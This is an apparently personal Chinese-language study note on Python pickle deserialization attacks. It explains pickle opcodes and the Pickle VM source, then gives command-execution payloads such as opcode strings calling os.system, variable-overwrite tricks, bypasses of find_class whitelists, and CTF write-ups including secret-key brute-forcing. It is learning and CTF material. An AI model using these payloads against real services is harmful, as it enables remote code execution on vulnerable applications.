前言
学习python反序列化漏洞;总结
了一些大佬的博客;所以本文大部分内容都来自参考博客;
本文参考:pickle反序列化初探,python pickle 反序列化总结,python反序列化漏洞
pickle简介
- 与PHP类似,python也有序列化功能以长期储存内存中的数据。pickle是python下的序列化与反序列化包。
- python有另一个更原始的序列化包marshal,现在开发时一般使用pickle。
- 与json相比,pickle以二进制储存,不易人工阅读;json可以跨语言,而pickle是Python专用的;pickle能表示python几乎所有的类型(包括自定义类型),json只能表示一部分内置类型且不能表示?自定义类型。
- pickle实际上可以看作一种独立的语言,通过对opcode的更改编写可以执行python代码、覆盖变量等操作。直接编写的opcode灵活性比使用pickle序列化生成的代码更高,有的代码不能通过pickle序列化得到(pickle解析能力大于pickle生成能力)。
object.__reduce__()
函数
- 在开发时,可以通过重写类的
object.__reduce__()
函数,使之在被实例化时按照重写的方式进行。具体而言,python要求object.__reduce__()
返回一个(callable, ([para1,para2...])[,...])
的元组,每当该类的对象被unpickle时,该callable就会被调用以生成对象(该callable其实是构造函数)。 - 在下文pickle的opcode中,
R
的作用与object.__reduce__()
关系密切:选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数。其实R
正好对应object.__reduce__()
函数,object.__reduce__()
的返回值会作为R
的作用对象,当包含该函数的对象被pickle序列化时,得到的字符串是包含了R
的。
opcode简介
opcode版本
pickle由于有不同的实现版本,在py3和py2中得到的opcode不相同。但是pickle可以向下兼容(所以用v0就可以在所有版本中执行)。目前,pickle有6种版本。
1 | # coding=utf-8 |
这里有个小技巧,如果题目过滤了\n
;在pickle版本4以上没有\n
pickletools
使用pickletools可以方便的将opcode转化为便于肉眼读取的形式。
1 | import pickle |
可读性较强;想要弄懂这个回显的具体内容,我们还要弄得一个东西,PVM
PVM
我们在使用pickler的时候,我们要序列化的内容,必须经过PVM,Pickle Virtual Machine (PVM)是Python语言中的一个虚拟机,用于序列化和反序列化Python对象。它是Python标准库中的一部分,由Python的pickle模块提供支持。下面是Pickle Virtual Machine的运行原理:
- 生成操作码序列:pickle模块在序列化Python对象时,会生成一系列操作码(opcode)来表示对象的类型和值。这些操作码将被保存到文件或网络流中,以便在反序列化时使用。
- 反序列化操作码:在反序列化时,pickle模块读取操作码序列,并将其解释为Python对象。它通过Pickle Virtual Machine来执行操作码序列。Virtual Machine会按顺序读取操作码,并根据操作码的类型执行相应的操作。
- 执行操作码:Pickle Virtual Machine支持多种操作码,包括压入常量、调用函数、设置属性等。执行操作码的过程中,Virtual Machine会维护一个栈来存储数据。当执行操作码时,它会将数据从栈中取出,并根据操作码的类型进行相应的操作。执行完成后,结果将被压入栈中。
- 构造Python对象:当操作码序列被完全执行后,Pickle Virtual Machine会将栈顶的数据作为结果返回。这个结果就是反序列化后的Python对象。
常用的opcode
指令 | 描述 | 具体写法 | 栈上的变化 |
---|---|---|---|
c | 获取一个全局对象或import一个模块 | c[module]\n[instance]\n | 获得的对象入栈 |
o | 寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象) | o | 这个过程中涉及到的数据都出栈,函数的返回值(或生成的对象)入栈 |
i | 相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象) | i[module]\n[callable]\n | 这个过程中涉及到的数据都出栈,函数返回值(或生成的对象)入栈 |
N | 实例化一个None | N | 获得的对象入栈 |
S | 实例化一个字符串对象 | S’xxx’\n | 获得的对象入栈 |
V | 实例化一个UNICODE字符串对象 | Vxxx\n | 获得的对象入栈 |
I | 实例化一个int对象 | Ixxx\n | 获得的对象入栈 |
F | 实例化一个float对象 | Fx.x\n | 获得的对象入栈 |
R | 选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数 | R | 函数和参数出栈,函数的返回值入栈 |
. | 程序结束,栈顶的一个元素作为pickle.loads()的返回值 | . | 无 |
( | 向栈中压入一个MARK标记 | ( | MARK标记入栈 |
t | 寻找栈中的上一个MARK,并组合之间的数据为元组 | t | MARK标记以及被组合的数据出栈,获得的对象入栈 |
) | 向栈中直接压入一个空元组 | ) | 空元组入栈 |
l | 寻找栈中的上一个MARK,并组合之间的数据为列表 | l | MARK标记以及被组合的数据出栈,获得的对象入栈 |
] | 向栈中直接压入一个空列表 | ] | 空列表入栈 |
d | 寻找栈中的上一个MARK,并组合之间的数据为字典(数据必须有偶数个,即呈key-value对) | d | MARK标记以及被组合的数据出栈,获得的对象入栈 |
} | 向栈中直接压入一个空字典 | } | 空字典入栈 |
p | 将栈顶对象储存至memo_n | pn\n | 无 |
g | 将memo_n的对象压栈 | gn\n | 对象被压栈 |
0 | 丢弃栈顶对象 | 0 | 栈顶对象被丢弃 |
b | 使用栈中的第一个元素(储存多个属性名: 属性值的字典)对第二个元素(对象实例)进行属性设置 | b | 栈上第一个元素出栈 |
s | 将栈的第一个和第二个对象作为key-value对,添加或更新到栈的第三个对象(必须为列表或字典,列表以数字作为key)中 | s | 第一、二个元素出栈,第三个元素(列表或字典)添加新值或被更新 |
u | 寻找栈中的上一个MARK,组合之间的数据(数据必须有偶数个,即呈key-value对)并全部添加或更新到该MARK之前的一个元素(必须为字典)中 | u | MARK标记以及被组合的数据出栈,字典被更新 |
a | 将栈的第一个元素append到第二个元素(列表)中 | a | 栈顶元素出栈,第二个元素(列表)被更新 |
e | 寻找栈中的上一个MARK,组合之间的数据并extends到该MARK之前的一个元素(必须为列表)中 | e | MARK标记以及被组合的数据出栈,列表被更新 |
所有opcode
1 | MARK = b'(' # push special markobject on stack |
opcode源码分析
1 | import pickle |
1 | '\x80\x03c__main__\ntest\nq\x00)\x81q\x01}q\x02X\x06\x00\x00\x00peopleq\x03X\x06\x00\x00\x00lituerq\x04sb.' |
下面分析一整段opcode码的作用
\x80\x03
源码
1 | def load_proto(self): |
代码首先从输入流中读取一个字节并将其存储在 proto
变量中。然后,它检查该变量的值是否在合法的 pickle 协议范围内,如果不是,则引发一个 ValueError
异常,指示不支持的协议。最后,它将 proto
变量的值存储在对象的 proto
属性中,这两个字节就是判断版本号的;
c
获取一个全局对象或import一个模块(注:会调用import语句,能够引入新的包)会加入self.stack
源代码:
1 | def load_global(self): |
find_class()函数
1 | def find_class(self, module, name): |
然后self.append(klass)
添加到当前栈中,所以当前栈中有:
1 | self=> stack:[类] |
q
对应源码
1 | def load_binput(self): |
所以记忆栈中存在了test类
1 | memo=> stack:[类] |
)
1 | def load_empty_tuple(self): |
操作完之后栈区就变成了
1 | self=> stack:[类,()] |
\x81
弹出self栈中的两个元素 然后把参数传入__new__
对类进行实例化
1 | def load_newobj(self): |
这时的self栈区
1 | self=> stack:[(对象)] |
q
把self中的对象压入memo栈中
1 | def load_binput(self): |
当前的memo栈有
1 | memo=> stack:[(类) , (对象)] |
}
向栈区压入一个空字典
1 | def load_empty_dictionary(self): |
当前self栈
1 | self=> stack:[(对象),{}] |
q
1 | def load_binput(self): |
当前memo栈
1 | memo=> stack:[(类) , (对象),{}] |
X
源码
1 | def load_binunicode(self): |
所以self栈中就是
1 | self=> stack:[(对象),{},"people"] |
q
和上面的思路一样,不多赘述了
此时的memo栈中的内容如下
1 | memo=> stack:[(类) , (对象),{},"people"] |
X
读取后面的\x03识别长度为三的字符串
1 | def load_binunicode(self): |
此时self栈中的内容
1 | self=> stack:[(对象),{},"people","lituer"] |
q
1 | def load_binput(self): |
当前memo的栈中的内容
1 | memo=> stack:[(类) , (对象),{},"people","lituer"] |
s
将栈的第一个对象作为 value,第二个对象作为 key,添加或更新到栈的第三个对象(必须为列表或字典,列表以数字作为 key)中
对应源码
1 | def load_setitem(self): |
b
使用栈中的第一个元素(储存多个 属性名-属性值 的字典)对第二个元素(对象实例)进行属性设置,调用 setstate 或 dict.update()
源码
1 | def load_build(self): |
所以最后栈顶的内容就是反序列化后的内容
.
结束反序列化
1 | def load_stop(self): |
至此整个反序列化过程结束,相信到此为止PVM的工作原理有了一个明确的了解
利用思路
命令执行
__reduce__
1 | import pickle |
注意:部分Linux系统下和Windows下的opcode字节流并不兼容,比如Windows下执行系统命令函数为nt.system()
,在部分Linux下则为posix.system()
;
用eval
函数
1 | import pickle |
opcode
可以调用函数的操作码:
R
选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数
1 | opcode=b'''cos |
i
相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象)
1 | opcode=b'''(S'whoami' |
o
寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象)
1 | opcode=b'''(cos |
b+__setstate__()
b
操作码对应的是load_build
函数; 使用栈中的第一个元素(储存多个属性名: 属性值的字典)对第二个元素(对象实例)进行属性设置
源码:
1 | def load_build(self): |
1 | __setstate__ : 官方文档中,如果想要存储对象的状态,就可以使用__getstat__和__setstat__方法。由于 pickle 同样可以存储对象属性的状态,所以这两个魔术方法主要是针对那些不可被序列化的状态,如一个被打开的文件句柄open(file,'r')。 |
和他成对的还有 __getstate__
,被反序列化时调用__setstate__
,被序列化时调用__getstate__
。重写时可以省略__setstate__
,但__getstate__
必须返回一个字典。如果__getstate__
与__setstate__
都被省略, 那么就默认自动保存和加载对象的属性字典__dict__
。
目的:
1 | 当前对象存在属性'__setstate__',并且{'__setstate__': os.system} |
第一种来自参考中的博客;
1 | import pickle |
我自己根据上一个payload,进行了一点改造;利用\x81
返回一个Person对象;这样就不需要用到o
操作码了;\x81
在opcode源码分析有详细讲
1 | import pickle |
其实我还在一篇博客中看到另一种办法,只不过对于初学者的我来说,并没有完全看懂,先记录下来
1 | opcode=b'''c__main__ |
当然,思路是天马行空的,利用b
操作码执行命令肯定不止这几种payload;
\x81
我个人感觉\x81
操作码,在导入危险模块(比如builtins)情况下,也可以利用
1 | import pickle |
变量覆盖
__reduce__
1 | import pickle |
opcode
1 | #secret.py |
1 | #test.py |
实例化对象
实例化对象是一种特殊的函数执行,这里简单的使用 R
构造一下,其他方式类似:
1 | # coding=utf-8 |
pickle.Unpickler.find_class()
由于官方针对pickle的安全问题的建议是修改find_class()
,引入白名单的方式来解决,很多CTF题都是针对该函数进行,所以搞清楚如何绕过该函数很重要。
什么时候会调用find_class()
:
- 从opcode角度看,当出现
c
、i
、b'\x93'
时,会调用,所以只要在这三个opcode直接引入模块时没有违反规则即可。 - 从python代码来看,
find_class()
只会在解析opcode时调用一次,所以只要绕过opcode执行过程,find_class()
就不会再调用,也就是说find_class()
只需要过一次,通过之后再产生的函数在黑名单中也不会拦截,所以可以通过__import__
绕过一些黑名单。
下面先看两个例子:
1 | safe_builtins = {'range','complex','set','frozenset','slice',} |
1 | class RestrictedUnpickler(pickle.Unpickler): |
第一个例子是官方文档中的例子,使用白名单限制了能够调用的模块为
{'range','complex','set','frozenset','slice',}
。第二个例子是高校战疫网络安全分享赛·webtmp中的过滤方法,只允许
__main__
模块。虽然看起来很安全,但是被引入主程序的模块都可以通过__main__
调用修改,所以造成了变量覆盖。
由这两个例子我们了解到,对于开发者而言,使用白名单谨慎列出安全的模块则是规避安全问题的方法;而如何绕过find_class
函数内的限制就是pickle反序列化解题的关键。
此外,CTF中的考察点往往还会结合python的基础知识(往往是内置的模块、属性、函数)进行,考察对白名单模块的熟悉程度,所以做题的时候可以先把白名单模块的文档看一看:)
CTF实战
Code-Breaking:picklecode
题目将pickle能够引入的模块限定为builtins
,并且设置了子模块黑名单:{'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit'}
,于是我们能够直接利用的模块有:
builtins
模块中,黑名单外的子模块。- 已经
import
的模块:io
、builtins
(需要先利用builtins
模块中的函数)
黑名单中没有getattr
,所以可以通过getattr
获取io
或builtins
的子模块以及子模块的子模块:),而builtins
里有eval、exec
等危险函数,即使在黑名单中,也可以通过getattr
获得。pickle不能直接获取builtins
一级模块,但可以通过builtins.globals()
获得builtins
;这样就可以执行任意代码了。payload为:
1 | import builtins |
首先执行getattr获取eval函数,再执行eval函数,这实际上是两步,而我们常用__reduce__
生成的序列化字符串,只能执行一个函数;所以这题只能搓opcode;这题更多细节可以看p神
高校战疫网络安全分享赛:webtmp
限制:重写了find_class
函数,只能生成__main__
模块的pickle:
1 | class RestrictedUnpickler(pickle.Unpickler): |
此外,禁止了b'R'
:
1 | try: |
目标是覆盖secret中的验证,由于secret被主程序引入,是存在于__main__
下的secret模块中的,所以可以直接覆盖掉,此时就成功绕过了限制:
1 | b'''c__main__ |
也就是修改secret中的内容,再修改Animal中的内容
[MTCTF 2022]easypickle
1 | import base64 |
爆破出secret-key
1 | import os |
1 | pip install flask-unsign |
这里主要看pickle
1 | try: |
算是逻辑漏洞吧
payload
非常巧妙;利用replace(b"os", b"Os")
绕过对o
操作码的限制;
1 | b'''(S'key1'\nS'val1'\ndS'vul'\n(cos\nsystem\nVcalc\nos.''' |
但是我感觉预期解的payload应该是下面两这种,利用\81
操作码
1 | import pickle |
下面这种paylaod还必须当前文件导入os
模块才行
1 | import pickle |
pker使用说明
简介
- pker是由@eddieivan01编写的以仿照Python的形式产生pickle opcode的解析器,可以在https://github.com/eddieivan01/pker下载源码。
- 使用pker,我们可以更方便地编写pickle opcode(生成pickle版本0的opcode)。
- 再次建议,在能够手写opcode的情况下使用pker进行辅助编写,不要过分依赖pker。
- 此外,pker的实现用到了python的ast(抽象语法树)库,抽象语法树也是一个很重要东西,有兴趣的可以研究一下ast库和pker的源码,由于篇幅限制,这里不再叙述。
具体来讲,可以使用pker进行原变量覆盖、函数执行、实例化新的对象。
使用方法与示例
- pker中的针对pickle的特殊语法需要重点掌握(后文给出示例)
- 此外我们需要注意一点:python中的所有类、模块、包、属性等都是对象,这样便于对各操作进行理解。
- pker主要用到
GLOBAL、INST、OBJ
三种特殊的函数以及一些必要的转换方式,其他的opcode也可以手动使用:
1 | 以下module都可以是包含`.`的子module |
注意:
- 由于opcode本身的功能问题,pker肯定也不支持列表索引、字典索引、点号取对象属性作为左值,需要索引时只能先获取相应的函数(如
getattr
、dict.get
)才能进行。但是因为存在s
、u
、b
操作符,作为右值是可以的。即“查值不行,赋值可以”。 - pker解析
S
时,用单引号包裹字符串。所以pker代码中的双引号会被解析为单引号opcode:
1 | test="123" |
被解析为:
1 | b"S'123'\np0\n0g0\n." |
pker:全局变量覆盖
- 覆盖直接由执行文件引入的
secret
模块中的name
与category
变量:
1 | secret=GLOBAL('__main__', 'secret') |
- 覆盖引入模块的变量:
1 | game = GLOBAL('guess_game', 'game') |
接下来会给出一些具体的基本操作的实例。
pker:函数执行
- 通过
b'R'
调用:
1 | s='whoami' |
- 通过
b'i'
调用:
1 | INST('os', 'system', 'whoami') |
- 通过
b'c'
与b'o'
调用:
1 | OBJ(GLOBAL('os', 'system'), 'whoami') |
- 多参数调用函数
1 | INST('[module]', '[callable]'[, par0,par1...]) |
pker:实例化对象
- 实例化对象是一种特殊的函数执行
1 | animal = INST('__main__', 'Animal','1','2') |
- 其中,python原文件中包含:
1 | class Animal: |
- 也可以先实例化再赋值:
1 | animal = INST('__main__', 'Animal') |
手动辅助
- 拼接opcode:将第一个pickle流结尾表示结束的
.
去掉,两者拼接起来即可。 - 建立普通的类时,可以先pickle.dumps,再拼接至payload。
pker:CTF实战
- 在实际使用pker时,首先需要有大概的思路,保证能做到手写每一步的opcode,然后使用pker对思路进行实现。
Code-Breaking: picklecode
解析思路见前文手写opcode的CTF实战部分,pker代码为:
1 | getattr=GLOBAL('builtins','getattr') |
BalsnCTF:pyshv1
1 | whitelist = ['sys'] |
题目的find_class
只允许sys
模块,并且对象名中不能有.
号。意图很明显,限制子模块,只允许一级模块。sys
模块有一个字典对象modules
,它包含了运行时所有py程序所导入的所有模块,并决定了python引入的模块,如果字典被改变,引入的模块就会改变。modules
中还包括了sys
本身。我们可以利用自己包含自己这点绕过限制,具体过程为:
- 由于
sys
自身被包含在自身的子类里,我们可以利用这点使用s
赋值,向后递进一级,引入sys.modules
的子模块:sys.modules['sys']=sys.modules
,此时就相当于sys=sys.modules
。这样我们就可以利用原sys.modules
下的对象了,即sys.modules.xxx
。 - 首先获取
modules
的get
函数,然后类似于上一步,再使用s
把modules
中的sys
模块更新为os
模块:sys['sys']=sys.get('os')
。 - 使用
c
获取system
,之后就可以执行系统命令了。
整个利用过程还是很巧妙的,pker代码为:
1 | modules=GLOBAL('sys', 'modules') |